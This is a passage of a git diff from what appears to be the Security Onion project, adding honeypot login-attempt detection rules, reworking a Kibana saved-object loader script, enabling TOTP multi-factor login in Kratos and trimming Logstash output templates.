https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 3000 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_http_login.yml b/salt/idh/plays/idh_http_login.yml new file mode 100644 index 000000000..795372844 --- /dev/null +++ b/salt/idh/plays/idh_http_login.yml @@ -0,0 +1,24 @@ +title: SO IDH - HTTP Login Attempt +id: 19449e62-93fa-40bd-8d0a-2564535d3652 +status: experimental +description: Detects when the HTTP service on a SO IDH node has had a login attempt. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 3001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_httpproxy.yml b/salt/idh/plays/idh_httpproxy.yml new file mode 100644 index 000000000..1321f2067 --- /dev/null +++ b/salt/idh/plays/idh_httpproxy.yml @@ -0,0 +1,24 @@ +title: SO IDH - HTTP Proxy Attempted Proxy Login +id: 6722bba8-5713-4463-b3ab-8432224928c2 +status: experimental +description: Detects when the HTTP Proxy service on a SO IDH node has had a proxy login attempt. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 7001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_mssql.yml b/salt/idh/plays/idh_mssql.yml new file mode 100644 index 000000000..8ff832bba --- /dev/null +++ b/salt/idh/plays/idh_mssql.yml @@ -0,0 +1,25 @@ +title: SO IDH - MSSQL Attempted Login +id: 3c36173e-9b56-4b03-b2d4-d420a9a7917f +status: experimental +description: Detects when the MS SQL service on a SO IDH node has had a login attempt. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 9001 #SQL Auth + - 9002 #Windows Auth + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_mysql.yml b/salt/idh/plays/idh_mysql.yml new file mode 100644 index 000000000..492e7409d --- /dev/null +++ b/salt/idh/plays/idh_mysql.yml @@ -0,0 +1,24 @@ +title: SO IDH - MySQL Attempted Login +id: fd9bfee4-301c-40e2-8f4e-857088cb3969 +status: experimental +description: Detects when the MySQL service on a SO IDH node has had a login attempt. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 8001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_ntp.yml b/salt/idh/plays/idh_ntp.yml new file mode 100644 index 000000000..8b54771d4 --- /dev/null +++ b/salt/idh/plays/idh_ntp.yml @@ -0,0 +1,24 @@ +title: SO IDH - NTP Service Request +id: 883202b4-b974-4779-af98-8ecb0b90ba9e +status: experimental +description: Detects when the NTP service on a SO IDH node has had a NTP request sent to it. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 11001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_redis.yml b/salt/idh/plays/idh_redis.yml new file mode 100644 index 000000000..034752912 --- /dev/null +++ b/salt/idh/plays/idh_redis.yml @@ -0,0 +1,24 @@ +title: SO IDH - Redis Accessed +id: 61bd7f23-90c4-41b0-a70d-9991b863e3f7 +status: experimental +description: Detects when the Redis service on a SO IDH node has had an action sent to it. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 17001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_sip.yml b/salt/idh/plays/idh_sip.yml new file mode 100644 index 000000000..c9a1b4bb0 --- /dev/null +++ b/salt/idh/plays/idh_sip.yml @@ -0,0 +1,24 @@ +title: SO IDH - SIP Request +id: c2bd0439-2aac-416d-93f5-adad8aa1131b +status: experimental +description: Detects when the SIP service on a SO IDH node has had a SIP request sent to it. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 15001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_smb.yml b/salt/idh/plays/idh_smb.yml new file mode 100644 index 000000000..96110cc42 --- /dev/null +++ b/salt/idh/plays/idh_smb.yml @@ -0,0 +1,24 @@ +title: SO IDH - SMB Request +id: 3ef55cde-1edd-414e-b1ba-499db822aef7 +status: experimental +description: Detects when the SMB service on a SO IDH node has been accessed. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 5000 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_snmp.yml b/salt/idh/plays/idh_snmp.yml new file mode 100644 index 000000000..e6d39425e --- /dev/null +++ b/salt/idh/plays/idh_snmp.yml @@ -0,0 +1,24 @@ +title: SO IDH - SNMP OID Request +id: 7be20101-6701-4bfb-a0cd-dbf830e46d85 +status: experimental +description: Detects when the SNMP service on a SO IDH node has had an OID request sent to it. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 13001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_ssh.yml b/salt/idh/plays/idh_ssh.yml new file mode 100644 index 000000000..be4b6bd2f --- /dev/null +++ b/salt/idh/plays/idh_ssh.yml @@ -0,0 +1,26 @@ +title: SO IDH - SSH Accessed +id: b7a09f0a-88ca-4fe0-bc8a-92106133e231 +status: experimental +description: Detects when the SSH service on a SO IDH node has had a new connection (logtype 4000) or login attempt (logtype 4002). +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 4000 + - 4001 + - 4002 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_telnet.yml b/salt/idh/plays/idh_telnet.yml new file mode 100644 index 000000000..5c91ac1e9 --- /dev/null +++ b/salt/idh/plays/idh_telnet.yml @@ -0,0 +1,24 @@ +title: SO IDH - Telnet Login Attempt +id: 4f3314c2-41cd-4ace-bdcf-5564beb78def +status: experimental +description: Detects when the Telnet service on a SO IDH node has had a login attempt. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 6001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_tftp.yml b/salt/idh/plays/idh_tftp.yml new file mode 100644 index 000000000..a7ce4bdbc --- /dev/null +++ b/salt/idh/plays/idh_tftp.yml @@ -0,0 +1,24 @@ +title: SO IDH - TFTP Requests +id: 6722bba8-5713-4463-b3ab-8432224928c2 +status: experimental +description: Detects when the TFTP service on a SO IDH node has had requests. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 10001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_vnc.yml b/salt/idh/plays/idh_vnc.yml new file mode 100644 index 000000000..ee840a4d3 --- /dev/null +++ b/salt/idh/plays/idh_vnc.yml @@ -0,0 +1,24 @@ +title: SO IDH - VNC Login Attempt +id: 2d4ec11b-9d7c-464f-a9fa-e555e5cd605a +status: experimental +description: Detects when the VNC service on a SO IDH node has had a login attempt. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 12001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/kibana/bin/so-kibana-config-load b/salt/kibana/bin/so-kibana-config-load index 0b887d5c7..4752925b4 100644 --- a/salt/kibana/bin/so-kibana-config-load +++ b/salt/kibana/bin/so-kibana-config-load @@ -12,48 +12,73 @@ fi } +RETURN_CODE=0 + import() { - local file=$1 - ndjson_file=$(echo $file | sed -e "s/\.template$//") - # Copy template file - if [ "$file" != "$ndjson_file" ]; then - cp "$file" "$ndjson_file" - fi + local BASENAME=$(basename $1 | cut -d'.' -f1) + if [ ! -f "/opt/so/state/kibana_$BASENAME.txt" ]; then + local file=$1 + ndjson_file=$(echo $file | sed -e "s/\.template$//") + # Copy template file + if [ "$file" != "$ndjson_file" ]; then + cp "$file" "$ndjson_file" + fi - # SOCtopus and Manager - if grep -lq 'PLACEHOLDER' "$ndjson_file"; then - sed -i "s/PLACEHOLDER/{{ MANAGER }}/g" "$ndjson_file" - fi - - # Endgame - if grep -lq 'ENDGAMEHOST' "$ndjson_file"; then - sed -i "s/ENDGAMEHOST/{{ ENDGAMEHOST }}/g" "$ndjson_file" - fi - - wait_for_web_response "http://localhost:5601/app/kibana" "Elastic" 300 "{{ ELASTICCURL }}" + # SOCtopus and Manager + if grep -lq 'PLACEHOLDER' "$ndjson_file"; then + sed -i "s/PLACEHOLDER/{{ MANAGER }}/g" "$ndjson_file" + fi - SESSIONCOOKIE=$({{ ELASTICCURL }} -c - -X GET http://localhost:5601/ | grep sid | awk '{print $7}') - # Load saved objects - {{ ELASTICCURL }} -b "sid=$SESSIONCOOKIE" -L -X POST "localhost:5601/api/saved_objects/_import?overwrite=true" -H "kbn-xsrf: true" --form file=@"$ndjson_file" >> /opt/so/log/kibana/misc.log + # Endgame + if grep -lq 'ENDGAMEHOST' "$ndjson_file"; then + sed -i "s/ENDGAMEHOST/{{ ENDGAMEHOST }}/g" "$ndjson_file" + fi + + wait_for_web_response "http://localhost:5601/app/kibana" "Elastic" 300 "{{ ELASTICCURL }}" + RETURN_CODE=$? + + SESSIONCOOKIE=$({{ ELASTICCURL }} -c - -X GET http://localhost:5601/ | grep sid | awk '{print $7}') + + # Load saved objects + RESPONSE=$({{ ELASTICCURL }} -b "sid=$SESSIONCOOKIE" -L -X POST "localhost:5601/api/saved_objects/_import?overwrite=true" -H "kbn-xsrf: true" --form file=@"$ndjson_file") + echo $RESPONSE; if [[ "$RESPONSE" != *"\"success\":true"* ]] && [[ "$RESPONSE" != *"updated_at"* ]] ; then RETURN_CODE=1;fi + + if [[ "$RETURN_CODE" != "1" ]]; then + touch /opt/so/state/kibana_$BASENAME.txt + fi + else + exit $RETURN_CODE + fi } update() { - wait_for_web_response "http://localhost:5601/app/kibana" "Elastic" 300 "{{ ELASTICCURL }}" - IFS=$'\r\n' GLOBIGNORE='*' command eval 'LINES=($(cat $1))' - for i in "${LINES[@]}"; do - {{ ELASTICCURL }} -X PUT "localhost:5601/api/saved_objects/config/7.16.3" -H 'kbn-xsrf: true' -H 'Content-Type: application/json' -d " $i " - done + local BASENAME=$(basename $1 | cut -d'.' -f1) + if [ ! -f "/opt/so/state/kibana_$BASENAME.txt" ]; then + wait_for_web_response "http://localhost:5601/app/kibana" "Elastic" 300 "{{ ELASTICCURL }}" + RETURN_CODE=$? + IFS=$'\r\n' GLOBIGNORE='*' command eval 'LINES=($(cat $1))' + for i in "${LINES[@]}"; do + RESPONSE=$({{ ELASTICCURL }} -X PUT "localhost:5601/api/saved_objects/config/7.17.1" -H 'kbn-xsrf: true' -H 'Content-Type: application/json' -d " $i ") + echo $RESPONSE; if [[ "$RESPONSE" != *"\"success\":true"* ]] && [[ "$RESPONSE" != *"updated_at"* ]] ; then RETURN_CODE=1;fi + done + + if [[ "$RETURN_CODE" != "1" ]]; then + touch /opt/so/state/kibana_$BASENAME.txt + fi + else + exit $RETURN_CODE + fi } usage() { cat < Import saved objects - -u Update saved objects + Security Onion Kibana Config Loader + Options: + -h This message + -i Import saved objects + -u Update saved objects EOF } diff --git a/salt/kibana/files/config_saved_objects.ndjson b/salt/kibana/files/config_saved_objects.ndjson index 1712da48b..e2bd5fe2f 100644 --- a/salt/kibana/files/config_saved_objects.ndjson +++ b/salt/kibana/files/config_saved_objects.ndjson @@ -1 +1 @@ -{"attributes": {"buildNum": 39457,"defaultIndex": "2289a0c0-6970-11ea-a0cd-ffa0f6a1bc29","defaultRoute": "/app/dashboards#/view/a8411b30-6d03-11ea-b301-3d6c35840645","discover:sampleSize": 100,"theme:darkMode": true,"timepicker:timeDefaults": "{\n \"from\": \"now-24h\",\n \"to\": \"now\"\n}"},"coreMigrationVersion": "7.16.3","id": "7.16.3","migrationVersion": {"config": "7.13.0"},"references": [],"type": "config","updated_at": "2021-10-10T10:10:10.105Z","version": "WzI5NzUsMl0="} +{"attributes": {"buildNum": 39457,"defaultIndex": "2289a0c0-6970-11ea-a0cd-ffa0f6a1bc29","defaultRoute": "/app/dashboards#/view/a8411b30-6d03-11ea-b301-3d6c35840645","discover:sampleSize": 100,"theme:darkMode": true,"timepicker:timeDefaults": "{\n \"from\": \"now-24h\",\n \"to\": \"now\"\n}"},"coreMigrationVersion": "7.17.1","id": "7.17.1","migrationVersion": {"config": "7.13.0"},"references": [],"type": "config","updated_at": "2021-10-10T10:10:10.105Z","version": "WzI5NzUsMl0="} diff --git a/salt/kibana/files/saved_objects.ndjson b/salt/kibana/files/saved_objects.ndjson index d952b33dd..512ce1532 100644 --- a/salt/kibana/files/saved_objects.ndjson +++ b/salt/kibana/files/saved_objects.ndjson @@ -1,7 +1,7 @@ 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omDocValues\":false},{\"name\":\"event.timestamp.keyword\",\"type\":\"string\",\"esTypes\":[\"keyword\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true,\"subType\":{\"multi\":{\"parent\":\"event.timestamp\"}}},{\"name\":\"event.timestamp.security\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false,\"subType\":{\"multi\":{\"parent\":\"event.timestamp\"}}},{\"name\":\"file.action\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false},{\"name\":\"file.action.keyword\",\"type\":\"string\",\"esTypes\":[\"keyword\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true,\"subType\":{\"multi\":{\"parent\":\"file.action\"}}},{\"name\":\"file.action.security\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false,\"subType\":{\"multi\":{\"parent\":\"file.action\"}}},{\"name\":\"file.analyzer\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false},{\"name\":\"file.analyzer.keyword\",\"type\":\"string\",\"esTypes\":[\"keyword\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true,\"subType\":{\"multi\":{\"parent\":\"file.analyzer\"}}},{\"name\":\"file.analyzer.security\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false,\"subType\":{\"multi\":{\"parent\":\"file.analyzer\"}}},{\"name\":\"file.aslr\",\"type\":\"boolean\",\"esTypes\":[\"boolean\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.bytes.missing\",\"type\":\"number\",\"esTypes\":[\"long\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.bytes.overflow\",\"type\":\"number\",\"esTypes\":[\"long\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.bytes.seen\",\"type\":\"number\",\"esTypes\":[\"long\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.bytes.total\",\"type\":\"number\",\"esTypes\":[\"long\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.code_integrity\",\"type\":\"boolean\",\"esTypes\":[\"boolean\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.compile_timestamp\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false},{\"name\":\"file.compile_timestamp.keyword\",\"type\":\"string\",\"esTypes\":[\"keyword\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true,\"subType\":{\"multi\":{\"parent\":\"file.compile_timestamp\"}}},{\"name\":\"file.compile_timestamp.security\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false,\"subType\":{\"multi\":{\"parent\":\"file.compile_timestamp\"}}},{\"name\":\"file.debug_data\",\"type\":\"boolean\",\"esTypes\":[\"boolean\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.dep\",\"type\":\"boolean\",\"esTypes\":[\"boolean\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.depth\",\"type\":\"number\",\"esTypes\":[\"long\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.description\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false},{\"name\":\"file.description.keyword\",\"type\":\"string\",\"esTypes\":[\"keyword\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true,\"subType\":{\"multi\":{\"parent\":\"file.description\"}}},{\"name\":\"file.description.security\",\"type\":\"string\",\"esTypes\":[\"text\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":false,\"readFromDocValues\":false,\"subType\":{\"multi\":{\"parent\":\"file.description\"}}},{\"name\":\"file.extracted.cutoff\",\"type\":\"boolean\",\"esTypes\":[\"boolean\"],\"count\":0,\"scripted\":false,\"searchable\":true,\"aggregatable\":true,\"readFromDocValues\":true},{\"name\":\"file.extracted.filename\",\"type\":\"string\",\"esTypes\":[\"text\"],\"co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-{"excludedObjects":[],"excludedObjectsCount":0,"exportedCount":823,"missingRefCount":1,"missingReferences":[{"id":"0b963f20-6f9c-11ec-864c-8b5450f97635","type":"tag"}]} \ No newline at end of file +{"excludedObjects":[],"excludedObjectsCount":0,"exportedCount":823,"missingRefCount":1,"missingReferences":[{"id":"0b963f20-6f9c-11ec-864c-8b5450f97635","type":"tag"}]} diff --git a/salt/kibana/secrets.sls b/salt/kibana/secrets.sls index 013394e90..16438f528 100644 --- a/salt/kibana/secrets.sls +++ b/salt/kibana/secrets.sls @@ -4,7 +4,7 @@ {% set DIGITS = "1234567890" %} {% set LOWERCASE = "qwertyuiopasdfghjklzxcvbnm" %} {% set UPPERCASE = "QWERTYUIOPASDFGHJKLZXCVBNM" %} - {% set SYMBOLS = "~!@#$^&*()-_=+[]|;:,.<>?" %} + {% set SYMBOLS = "~!@#^&*()-_=+[]|;:,.<>?" %} {% set CHARS = DIGITS~LOWERCASE~UPPERCASE~SYMBOLS %} {% set kibana_encryptedSavedObjects_encryptionKey = salt['pillar.get']('kibana:secrets:encryptedSavedObjects:encryptionKey', salt['random.get_str'](72, chars=CHARS)) %} {% set kibana_security_encryptionKey = salt['pillar.get']('kibana:secrets:security:encryptionKey', salt['random.get_str'](72, chars=CHARS)) %} diff --git a/salt/kibana/so_config_load.sls b/salt/kibana/so_config_load.sls index 58cd0ffbb..9730882fc 100644 --- a/salt/kibana/so_config_load.sls +++ b/salt/kibana/so_config_load.sls @@ -3,14 +3,21 @@ include: config_saved_objects: file.managed: - - name: /opt/so/conf/kibana/config_saved_objects.ndjson + - name: /opt/so/conf/kibana/config_saved_objects.ndjson.template - source: salt://kibana/files/config_saved_objects.ndjson - user: 932 - group: 939 +config_saved_objects_changes: + file.absent: + - names: + - /opt/so/state/kibana_config_saved_objects.txt + - onchanges: + - file: config_saved_objects + so-kibana-config-load: cmd.run: - - name: /usr/sbin/so-kibana-config-load -i /opt/so/conf/kibana/config_saved_objects.ndjson + - name: /usr/sbin/so-kibana-config-load -i /opt/so/conf/kibana/config_saved_objects.ndjson.template - cwd: /opt/so - require: - sls: kibana diff --git a/salt/kibana/so_dashboard_load.sls b/salt/kibana/so_dashboard_load.sls index a340682bf..9245ff94d 100644 --- a/salt/kibana/so_dashboard_load.sls +++ b/salt/kibana/so_dashboard_load.sls @@ -4,15 +4,22 @@ include: dashboard_saved_objects_template: file.managed: - - name: /opt/so/conf/kibana/saved_objects.ndjson + - name: /opt/so/conf/kibana/saved_objects.ndjson.template - source: salt://kibana/files/saved_objects.ndjson - user: 932 - group: 939 - show_changes: False +dashboard_saved_objects_changes: + file.absent: + - names: + - /opt/so/state/kibana_saved_objects.txt + - onchanges: + - file: dashboard_saved_objects_template + so-kibana-dashboard-load: cmd.run: - - name: /usr/sbin/so-kibana-config-load -i /opt/so/conf/kibana/saved_objects.ndjson + - name: /usr/sbin/so-kibana-config-load -i /opt/so/conf/kibana/saved_objects.ndjson.template - cwd: /opt/so - require: - sls: kibana @@ -20,15 +27,22 @@ so-kibana-dashboard-load: {%- if HIGHLANDER %} dashboard_saved_objects_template_hl: file.managed: - - name: /opt/so/conf/kibana/hl.ndjson + - name: /opt/so/conf/kibana/hl.ndjson.template - source: salt://kibana/files/hl.ndjson - user: 932 - group: 939 - show_changes: False +dashboard_saved_objects_hl_changes: + file.absent: + - names: + - /opt/so/state/kibana_hl.txt + - onchanges: + - file: dashboard_saved_objects_template_hl + so-kibana-dashboard-load_hl: cmd.run: - - name: /usr/sbin/so-kibana-config-load -i /opt/so/conf/kibana/hl.ndjson + - name: /usr/sbin/so-kibana-config-load -i /opt/so/conf/kibana/hl.ndjson.template - cwd: /opt/so - require: - sls: kibana diff --git a/salt/kibana/so_securitySolution_load.sls b/salt/kibana/so_securitySolution_load.sls index 49dbfa25b..0a92c749b 100644 --- a/salt/kibana/so_securitySolution_load.sls +++ b/salt/kibana/so_securitySolution_load.sls @@ -3,14 +3,21 @@ include: securitySolution_saved_objects: file.managed: - - name: /opt/so/conf/kibana/securitySolution_saved_objects.ndjson + - name: /opt/so/conf/kibana/securitySolution_saved_objects.ndjson.template - source: salt://kibana/files/securitySolution_saved_objects.ndjson - user: 932 - group: 939 +securitySolution_saved_objects_changes: + file.absent: + - names: + - /opt/so/state/kibana_config_saved_objects.txt + - onchanges: + - file: securitySolution_saved_objects + so-kibana-securitySolution_saved_objects-load: cmd.run: - - name: /usr/sbin/so-kibana-config-load -u /opt/so/conf/kibana/securitySolution_saved_objects.ndjson + - name: /usr/sbin/so-kibana-config-load -u /opt/so/conf/kibana/securitySolution_saved_objects.ndjson.template - cwd: /opt/so - require: - sls: kibana diff --git a/salt/kratos/files/kratos.yaml b/salt/kratos/files/kratos.yaml index b1174af58..d10cdd1e5 100644 --- a/salt/kratos/files/kratos.yaml +++ b/salt/kratos/files/kratos.yaml @@ -1,9 +1,12 @@ {%- set WEBACCESS = salt['pillar.get']('global:url_base', '') -%} {%- set KRATOSKEY = salt['pillar.get']('kratos:kratoskey', '') -%} {%- set SESSIONTIMEOUT = salt['pillar.get']('kratos:sessiontimeout', '24h') -%} +{%- set MFA_ISSUER = salt['pillar.get']('kratos:mfa_issuer', 'Security Onion') -%} session: lifespan: {{ SESSIONTIMEOUT }} + whoami: + required_aal: highest_available selfservice: methods: @@ -11,10 +14,15 @@ selfservice: enabled: true config: haveibeenpwned_enabled: false + totp: + enabled: true + config: + issuer: {{ MFA_ISSUER }} flows: settings: ui_url: https://{{ WEBACCESS }}/?r=/settings + required_aal: highest_available verification: ui_url: https://{{ WEBACCESS }}/ diff --git a/salt/kratos/files/schema.json b/salt/kratos/files/schema.json index 782d1b78b..610c250d8 100644 --- a/salt/kratos/files/schema.json +++ b/salt/kratos/files/schema.json @@ -17,6 +17,9 @@ "credentials": { "password": { "identifier": true + }, + "totp": { + "account_name": true } }, "verification": { diff --git a/salt/logstash/init.sls b/salt/logstash/init.sls index c3a3350f4..fc397938c 100644 --- a/salt/logstash/init.sls +++ b/salt/logstash/init.sls @@ -199,9 +199,6 @@ so-logstash: {% for CONFIGFILE in PIPELINES[PL].config %} - file: ls_pipeline_{{PL}}_{{CONFIGFILE.split('.')[0] | replace("/","_") }} {% endfor %} - {% endfor %} - {% for TEMPLATE in TEMPLATES %} - - file: es_template_{{TEMPLATE.split('.')[0] | replace("/","_") }} {% endfor %} - require: {% if grains['role'] in ['so-manager', 'so-helix', 'so-managersearch', 'so-standalone', 'so-import', 'so-heavynode', 'so-receiver'] %} diff --git a/salt/logstash/pipelines/config/so/9000_output_zeek.conf.jinja b/salt/logstash/pipelines/config/so/9000_output_zeek.conf.jinja index 670dcf49e..772a97e17 100644 --- a/salt/logstash/pipelines/config/so/9000_output_zeek.conf.jinja +++ b/salt/logstash/pipelines/config/so/9000_output_zeek.conf.jinja @@ -15,9 +15,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-zeek" - template_name => "so-zeek" - template => "/templates/so-zeek-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9002_output_import.conf.jinja b/salt/logstash/pipelines/config/so/9002_output_import.conf.jinja index 1ebaa1082..58a78c08a 100644 --- a/salt/logstash/pipelines/config/so/9002_output_import.conf.jinja +++ b/salt/logstash/pipelines/config/so/9002_output_import.conf.jinja @@ -15,9 +15,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-import" - template_name => "so-import" - template => "/templates/so-import-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9004_output_flow.conf.jinja b/salt/logstash/pipelines/config/so/9004_output_flow.conf.jinja index affa32d1a..88fe0d2b7 100644 --- a/salt/logstash/pipelines/config/so/9004_output_flow.conf.jinja +++ b/salt/logstash/pipelines/config/so/9004_output_flow.conf.jinja @@ -14,9 +14,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-flow" - template_name => "so-flow" - template 